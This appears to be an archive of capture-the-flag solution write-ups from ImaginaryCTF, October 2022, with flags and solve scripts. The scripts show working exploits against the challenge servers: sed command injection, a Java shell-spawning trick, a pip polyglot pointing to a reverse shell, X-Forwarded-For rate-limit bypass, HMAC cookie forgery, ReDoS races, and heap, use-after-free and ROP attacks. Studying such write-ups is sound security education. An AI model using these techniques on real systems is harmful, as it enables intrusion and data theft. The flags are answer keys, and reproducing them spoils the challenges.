Archived Challenges - October 2022

solve

ictf{w3lcom3_to_r0und_27!}

from pwn import *

# p = process(['./regexer.py'])
p = remote("puzzler7.imaginaryctf.org", 6004)

for i in range(100):
    p.recvuntil("match:")
    words = []
    for j in range(5):
        p.recvuntil('- ')
        words.append(p.recvline().strip().decode())

    rx = '|'.join(f'({word})' for word in words)
    p.sendline(rx)
    print(i)

p.interactive()

Very simple solution, just enter (word1)|(word2)|(word3)|.... Mostly just a challenge to test socket interaction (and maybe a precursor to something more... :rooPuzzlerDevil: )

ictf{the_plural_of_regex_is_REGRETS_7fefb9ef995dffd1}

Enter a/hacked/; e cat *; as the text to be replaced.

; separated sed commands, and e is the sed command for executing a command in bash.

ictf{but_TBG_sed_my_server_was_safe_:_<}

As the title might imply, I was initially going to solve this one with hashcat, using their rules and combinator mode to solve in just one command. Unfortunately, hashcat doesn't seem to play nice with WSL, so I used python to make a wordlist and john to solve, instead.

#!/usr/bin/env python3

from itertools import product
from hashlib import sha512

words = [i.strip() for i in open("google-10000-english-no-swears.txt") if len(i) >= 12]

out = open("wordlist", "w")

for num in range(100):
    for combo in product(words, repeat=2):   
        pwd = f"ictf{{{combo[0]}{combo[1].upper()}{'%02d'%num}}}"
        out.write(pwd+'\n')
    print(num)```

ictf{qualificationsMATHEMATICS37}

Java will process unicode escapes like \u000a before lexing, so you can escape the inline comment using \u000a. Because Java require that the main class should be same as filename, a way to get code execution is to override the System.out.println.

\u000aclass Out {
    public static void println(String s) {
        try {
            java.lang.System.out.println("shell:");
            var builder = new ProcessBuilder(new String[] { "sh" });
            builder.redirectInput(ProcessBuilder.Redirect.INHERIT);
            builder.redirectOutput(ProcessBuilder.Redirect.INHERIT);
            builder.start().waitFor();
        } catch (Exception e) {
            java.lang.System.out.println(e);
        }
    }
}

class System {
    public static Out out = new Out();
}

(cat exp.java | tr '\n' ' ' ; echo; cat) | python server.py

Challenge idea comes from https://twitter.com/steike/status/1583462929399427074

ictf{I_think_this_should_be_a_java_wtf}

pip download [url] will visit the url, and if it's a zip file, it will try to execute setup.py. Thus, you can make a png/zip polyglot with https://github.com/DavidBuchanan314/tweetable-polyglot-png and upload it to imgur. My solve with a reverse shell is here: https://i.imgur.com/Hlgma8N.png.

Inspired (i.e. directly ripped from) https://twitter.com/David3141593/status/1584462389977939968

ictf{whoops_I_think_he_might_have_been_talking_about_venvs}

https://imaginaryctf.org/f/YvzTs#x.py

I first get the set of smallest prefixes that match all of the "accept" words and none of the "reject" words, and then recursively combines those prefixes if it would save characters, like aab|aac|axy → a(ab|ac|xy) → a(a(b|c)|xy). If there are at least 4 prefixes with the same starting letter, then it saves characters to combine it in this way (3 breaks even).

I then repeat this for suffixes instead of prefixes, and take the shorter of the two regrets.

Initial ideas for solving this came from https://codegolf.stackexchange.com/questions/230870/generate-the-shortest-regex-to-match-these-but-not-those

ictf{funny_the_plural_of_regex_is_regrets_but_the_less_regex_you_have_the_m0re_regrets_you_get}

#!/usr/bin/env python3

from requests import Session
from time import time

s = Session()

url = "http://localhost:6000"
url = "http://puzzler7.imaginaryctf.org:6000"

s.post(url+"/login", data={"username": "admin", "password": "top_secret_admin_password"})
s.get(url+'/2fa')
for i in range(1000):
    s.headers.update({"X-Forwarded-For": str(i)+'.'+str(time())})
    r = s.post(url+"/2fa", data={"code": "{:03d}".format(i)})
    if 'ictf' in r.text:
        print(r.text)
        break
    if i%10 == 0:
        print(i)

The website uses the WSGI ProxyFix middleware, and accordingly the user can spoof their IP using the X-Forwarded-For header.

See https://esd.io/blog/flask-apps-heroku-real-ip-spoofing.html for another example.

ictf{mom:_we_have_rate_limiting_at_h0me}

curl -X b http://puzzler7.imaginaryctf.org:6006/flag

The GET variable is not something that's defined by Flask. Instead, the Dockerfile adds the following code to the end of the file that's imported when importing Flask:

import os
GET=(lambda:[*str(os.urandom(32))])( )

Thus, GET is a list of the character when a bytes object is turned into a string. This will always start with b',, so b is a valid method to access the flag with.

ictf{uppercase_HTTP_method_names_are_so_2021}

Source code shows a comment in the source code that has a google authenticator URL that can be parsed by using something like this https://github.com/krissrex/google-authenticator-exporter or https://gist.github.com/klustic/5d6c4f44f28c6fe5168c81849f027413. The login just accepts admin/admin as the user/pass and from the parsed TOTP, the flag can be retrieved.

ictf{one_time_passwords_from_a_land_far_far_away_91b9}

The website hashes the username and the expiration together, so the username admin123 with the expiration 1000 will have the same hash as the username admin and the expiration 1231000.

Thus, we can register an account like admin123, which gives us a cookie like admin123|1665896913|[hmac]. Modifying the cookie to be admin|1231665896913|[hmac] will let us log in as admin.

ictf{no_need_to_forge_your_own_hmac_if_the_server_will_do_it_for_you}

The send_flag endpoint is vulnerable to a race condition - sending two requests, one with a valid url followed by one with your own server, in quick succession will cause the server to send the flag to you. However, the endpoint is aggressively ratelimited.

However, the regex it uses to check if the url is valid is vulnerable to catastrophic backtracking. By appending a large number (~25) of dots followed by a slash at the end of any url, we can make the regex take a long time to resolve. Thus, the solution is as follows:

• Visit http://puzzler7.imaginaryctf.org:6009/send_flag?url=http://puzzler7.imaginaryctf.org:6009/........................./. This is a valid url that will take about 8 seconds to finish computing.
• After 5 seconds to avoid the ratelimit, visit http://puzzler7.imaginaryctf.org:6009/send_flag?url=https://puzzler.free.beeceptor.com. This sets the url to send the flag to in the database to an arbitrary url.
• Wait for the first request to finish validating the first url sent. The server the sends the flag to the url in the database, which is the arbitrary url.

ictf{the_plural_0f_regex_is_regrets_and_the_singular_of_regex_is_also_r3grets}

from Crypto.Util.number import long_to_bytes

alphabet = "0123456789aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpP"
ct = '0koA439lJklKBLkABeK3oikB1GL1lelO0lCp50Kii0LFEbcdm1Il17GNKCj6P5KB0mpAfe4pAJ0p5lHb0kIC7K0I03meMpIG'

def dec(chunk):
    out = 0
    for c in chunk:
        out += alphabet.index(c)
        out *= 42
    out //= 42
    return out

flag = b''

while len(ct) > 0:
    chunk = ct[:32]
    print(chunk)
    ct = ct[32:]
    flag += long_to_bytes(dec(chunk))

print(flag)```

Convert back from base42 using the given alphabet.

ictf{forty-two_is_my_new_fav0rite_base_to_w0rk_in_833bb3037fa3}

mem = open('out.mem', 'rb').read()
flag = 'ic'

last_addr = mem.index(ord('i')) - 1
addr = mem.index(ord('c')) - 1
while addr:
    temp_addr = last_addr^mem[addr]
    last_addr = addr
    addr = temp_addr
    flag += chr(mem[addr+1])
print(flag)```

The binary stores the flag as a xor linked list in the 256 byte "memory". There is only one `i` and one `c` in the memory, so these elements are obviously the first and second character of the list. From there, the address of the third character can be found by xoring the pointer at the second character with the pointer of the previous character, and repeated until the pointer becomes null.

See https://en.wikipedia.org/wiki/XOR_linked_list for a much better explanation (with diagrams!).

ictf{th1s_!s_a_r0ughly_0n3_hundred_twenty_e1ght_(h@ra(t3r_fl@g_(onstru(t3d_w1thout_th3_us3_of_the_le++er5_I_or_C_for_y0ur_sake}

Either reverse the whole ropchain (and assemble to one whole block), extract the byte values; or patch the ptrace out (and give argument 1 to the function) and get the values dynamically. (char by char bruteforce might also be possible, but is more complicated than the other ways to solve it).

ictf{ro0pch41n_w1th0ut_c0mp1ler_w4rn1ngs}

Count the Collatz steps (as in, the number of steps needed using the Collatz conjecture to reach 1) of the numbers, and use decimal to text to revert it.

ct = [94, 322, 145, 71, 514, 167, 27, 124, 125, 447, 146, 257, 121, 233, 147, 214, 54, 55, 95, 82, 142, 671, 1259, 864, 164, 83, 215, 73, 342]

def collatz(n):
    if n == 1:
        return 0
    if n%2 == 0:
        return collatz(n//2) + 1
    return collatz(3*n + 1) + 1

flag = ''
for i in ct:
    flag += chr(collatz(i))
    print(flag)```

ictf{Collatz_Stepping_Stones}

The binary simply makes a GET request to http://puzzler7.imaginaryctf.org:35552/ to check the flag. This can be detected with wireshark, or reversing the string xor in the binary. Visiting the site manually will show the flag.

ictf{outsourcing_c_to_python_but_python_is_outsourcing_to_c}

file = open('logs.txt')
user = 'yearningCardinal31891'

ips = {}

for line in file:
    ip = line.split()[0]
    if ip not in ips:
        ips[ip] = []
    ips[ip].append(line)

user_ip = None
for ip in ips:
    reqs = ips[ip]
    for i in range(len(reqs)):
        if 'GET /me' not in reqs[i]:
            continue
        if user in reqs[i+1]:
            user_ip = ip
        break
    if user_ip is not None:
        break

print("found user", user_ip)
pastes = [req.split()[6] for req in ips[user_ip] if "GET /paste" in req]
print(pastes)```

Looking at the logs, you can see requests to `/top_secret_s0urce_file`, which shows the source for the website. Unfortunately, many people have visited yearningCardinal31891's page, so we can't just assume anyone visiting that page is yearningCardinal31891. However, the `/me` endpoint redirects to the logged in user.

Thus, we can find a user that visits `/me` and is immediately redirected to `/user/yearningCardinal31891`. The only IP to do this is 10.1.229.209, who only made one paste: http://puzzler7.imaginaryctf.org:6002/paste/671da6c5-cd11-472c-be91-0868b568e5e2

ictf{he's_a_l0ggerman_and_he's_okay_he_sleeps_all_n1ght_and_he_works_all_d@y}

{ echo -e '1\n1f1\n.\n1\n1f0\n~\n2';cat; } | nc puzzler7.imaginaryctf.org 6003 | grep -oP ictf{.*}

The "better way" to store strings is to store their length at the beginning of the string, followed by the actual string contents. However, there's an off-by-one error in checking if the string can fit in memory, because it doesn't consider that it will be writing n+1 characters for a length n string, because it has to write the length in addition to the string contents.

There are probably several ways to solve, the solution above works as follows:

• Write . to 0x1f1 (or any other single character).
• Write ~ to 0x1f0. This will overwrite the stored length of the string at 0x1f1 with 0x7f (the char code of ~).
• Viewing strings will show long past 0x1f1, revealing the flag.

ictf{the_alternative_title_f0r_this_was_pystry_so_heres_a_bear_claw_for_solving}

std::string is a struct on stack and it will store the string data on stack when the data is small (SSO). std::string_view is like a pointer that points to a std::string. So command = "#" + s will assign a temporary string to a string_view, so it is like a dangling pointer. And if you decompile it using ida, it is easy to see that two string concat uses same stack space, so executing "@" + name overrides the data that command points to.

> ./chall
What's your name? 1234
==== Menu ====
1. Change name
2. Status
3. Set command
4. Execute command
> 3
aaaa
==== Menu ====
1. Change name
2. Status
3. Set command
4. Execute command
> 1
What's your new name? ;sh
==== Menu ====
1. Change name
2. Status
3. Set command
4. Execute command
> 2
==== Status ====
Username: @;sh
Is premium: 0
==== Menu ====
1. Change name
2. Status
3. Set command
4. Execute command
> 4
Executing @;sh
sh: line 1: @: command not found
sh-5.1$ id
uid=1000(maple3142) gid=1000(maple3142) groups=1000(maple3142),998(wheel),1001(docker)
sh-5.1$

ictf{c++_uaf_101}

Solve script (with many helpful comments): https://imaginaryctf.org/f/zI3zX

We don't have many options, as we are gonna have to return back to main for more exploits, and therefore we can't exactly use PLTs. So, we begin eyeing the main function for some potentially useful stuff. However, we can actually control something else as well, the rbp! The leave function leaves the stack frame of the current function and puts the program back to the function that called the current function. This value before the retaddr is called the saved rbp. If we overflow into this, our new rbp will become that. Then, we can find anything in the main function that uses rbp, like read at main+56. We can point to the GOT and disable annoying functions like exit() and replace it with main. Then, we use a command that isn't add, and we get to leak stuff with the printf format string (we don't control the format string, but we control rsi because of rbp 😄). Finally, we can use one_gadget now that we got the libc leak.

ictf{m4yb3_7h3r3_w3r3_51x733n_by735_0f_5p4c3}

from pwn import *

# p = process(["python3", "./server.py"])
p = remote("puzzler7.imaginaryctf.org", 6999)

p.sendline("GET /flag")
for c in range(32, 127): # filling gaps of size 20
    for char in "abcdef":
        p.sendline(char*19 + chr(c) + ": " + 'a'*20)

p.sendline("User: "+'a'*21)
p.sendline("a"*21 + ": " + "a"*21 + "\x00" + "a"*20+"admin\x00")
p.sendline()
p.interactive()```

There's a trivial bug - having any null byte causes a buffer overflow. However, exploiting this is tricky, because the thing we need to overflow into - the User header - is at a random place.

The initial state of the memory will have lots of gaps. We start by making lots of headers with length 20, to fill in any 20-byte gaps. Then, we reallocate the `User` header to 21 bytes. Because we have filled all gaps of size 20, this will immediately go to the bottom of mapped memory. We can then make one more 21 byte header, which will get mapped below the User chunk. The value of this header has an apparent length of 21 bytes (21 bytes before the first `\x00`) so it will get mapped below the header. We can then overwrite through the header name and into the User value, getting the flag.

Challenge inspired by slides 38 - 40 of https://www.hexacon.fr/conference/speakers/#tesla

ictf{m@stering_the_art_of_heap_feng_shui_ca23650f9fc93527772f71a6c948fc78}

Search for from:Eth007 ictf{

ictf{secret_flag_for_a_secret_challenge}

from Crypto.Util.number import *

d = {}
e = 65537

f = open('output', 'rb')

n = bytes_to_long(f.read(128))

d = {long_to_bytes(pow(i, e, n)):chr(i) for i in range(128)}

ct = f.read()
flag = ''
while len(ct) > 0:
    flag += d[ct[:128]]
    ct = ct[128:]

print(flag)

The encryption implemented here encrypts each character separately, so you can brute force each block of 128 bytes to see what character it corresponds to.

ictf{dont_mind_me_I'm_just_brute_forcing_rsa}

The iv of each block is always known, so you can bruteforce char by char just like RSA-ECB. https://imaginaryctf.org/f/1oypu#solve.py

ictf{not_really_different_from_rsa_ecb_isn't_it?}

Sage script: https://imaginaryctf.org/f/0uY3l#solve.sage

ictf{sUpeRinCrEasIng_wH4T???}

The public exponent is just 9, and for each encryption we know the iv in (iv + m)^e (mod n), so m can be recovered by applying coppersmith's method. (Because 16*8*9<2048) https://imaginaryctf.org/f/TDAA8#solve.sage

ictf{this_is_just_a_very_very_long_flag_to_make_sure_the_flag_is_splited_into_multiple_blocks}

Java Random has a seed space of 48 bits, meaning that some 64 bit values are not possible to have been generated by Java Random. SlightlyMoreSecureRandom is an implementation of Xoroshiro128, which is capable of generating all 2^64 different values. By reversing Java Random seeds using nextLong you can find those keys. After which there will be more than 8 seeds since Xoroshiro can still create Java Random longs. Final step is to try each of these as the first nextLong of the Random object that generated the keys, and checking to see if the next 7 outputs are found.

https://imaginaryctf.org/f/RUeFR

ictf{J4v4_R4nd0m_1s_n0t_s3cur3_7f887089}

https://imaginaryctf.org/f/3nzE2

ictf{n07_50_r4nd0m_4ft3r_4ll}

The f function is known as Mobius transformation, which can be written as a matrix M. Let the order of GL2(Fp) be od, M^-(2^(2^1337) mod od) is the inverse transformation, and multiply it to [target, 1] recovers r. The final step is to use LLL to solve for x, y from r.

https://math.stackexchange.com/questions/1196038/map-that-sends-a-2-times-2-matrix-to-a-mobius-transformation-is-a-homomorphism https://math.stackexchange.com/questions/34271/order-of-general-and-special-linear-groups-over-finite-fields

p = 176158282986746982240266723315539113194265645059289946167508170177003284015952246598622309007383783776431677319511900896550770656954421845455806488352793716430680038822335053544732829075484400828106842292496259374352682656329951651195556343598920389869481201735312755104126688354313796523263368135288804198807
target = 156068260753162326389131601053013379068481891260689073819373386976988711198991229988977057135239333025127264023815862892705566458896325300327267083685162030794665611354092408411934601042942303873251991350025956054000540414510537241391337611736612951252775259439088010202728989041330968193636085468063887251970
M = matrix(GF(p), [[1, 3], [3, 7]])
od = product([p ^ 2 - p ^ i for i in range(2)])
u, v = M ^ -power_mod(2, (1 << 1337), od) * vector([target, 1])
r = u / v % p
L = matrix(ZZ, [[r, 1], [p, 0]])
x, y = map(abs, L.LLL()[0])
print(x, y)

for i in range(100):
    flag = int(i * x).to_bytes(16, "big") + int(i * y).to_bytes(16, "big")
    if flag.startswith(b"ictf"):
        print(flag)
        break

ictf{it_is_always_about_matrix!}

from sqlite3 import *

class TreeNode:
    def __init__(self, char):
        self.left = None
        self.right = None
        self.char = char

    def __str__(self):
        rs = '' if self.right is None else str(self.right)
        ls = '' if self.left is None else str(self.left)
        return ls + self.char + rs

conn = connect("flag.db")
cur = conn.cursor()

cur.execute('select * from flag')
char, left_start, right_start = cur.fetchone()
head = TreeNode(char)

def crawl(idd, table, tree):
    if idd is None:
        return
    cur.execute(f'select * from {table} where id = ?', (idd,))
    idd, char, left, right = cur.fetchone()
    if table == 'left':
        tree.left = TreeNode(char)
        next_tree = tree.left
    else:
        tree.right = TreeNode(char)
        next_tree = tree.right
    crawl(left, "left", next_tree)
    crawl(right, "right", next_tree)

crawl(left_start, "left", head)
crawl(right_start, "right", head)
print(head)```

The database is just a binary tree, as implied by the left and right tables. Simply traversing the tree in preorder will yield the flag.

ictf{I_guess_this_isn't_actually_a_linked_list_but_h0w_could_I_pass_up_on_the_name_SQLLL?_anyway_here's_flag_dc9d2c92}

Likely several ways you could solve this one, but I think the easiest is just using head with many character amounts to see when it stops printing the real flag and starts printing the fake flag. The following will just print the flag:

{ head -c 1642 flag; echo; }

ictf{hidden_behind_everything_582de003ea2cf04a4e453468b14284cf}